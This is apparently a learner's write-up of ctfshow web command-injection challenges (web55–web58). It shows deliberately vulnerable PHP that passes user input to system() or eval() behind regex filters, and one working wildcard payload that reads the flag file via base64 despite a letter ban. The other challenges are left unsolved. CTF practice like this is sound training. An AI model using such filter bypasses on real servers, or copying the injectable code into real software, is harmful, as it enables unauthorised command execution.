/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗？
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

字母被ban了...，本来想用/???/??? ????.???的，但是似乎是/bin/cat的序列不够靠前，没成。

于是得想办法照着啥带数字的命令，看看能不能整出来。

找到了个base64命令，能编码文件内容，所以可以整！

// payload
?c=/???/????64 ????.???

file

ctfshow{c923c6b1-6e93-4733-9cb0-ccb121207fbb}

web56

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗？
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

行吧这回连数字也给整没了，还想着找个带符号的命令来整的，结果没找到眼熟的，放弃... TODO

web57

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: [email protected]
# @link: https://ctfer.com
*/

// 还能炫的动吗？
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

没通配符，放弃... TODO

web58

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

emm，system()、shell_exec()、exec()、passthru()、popen()、proc_open()都被禁了，大概是有姿势能绕，萌新放弃... TODO

web59

To be Continued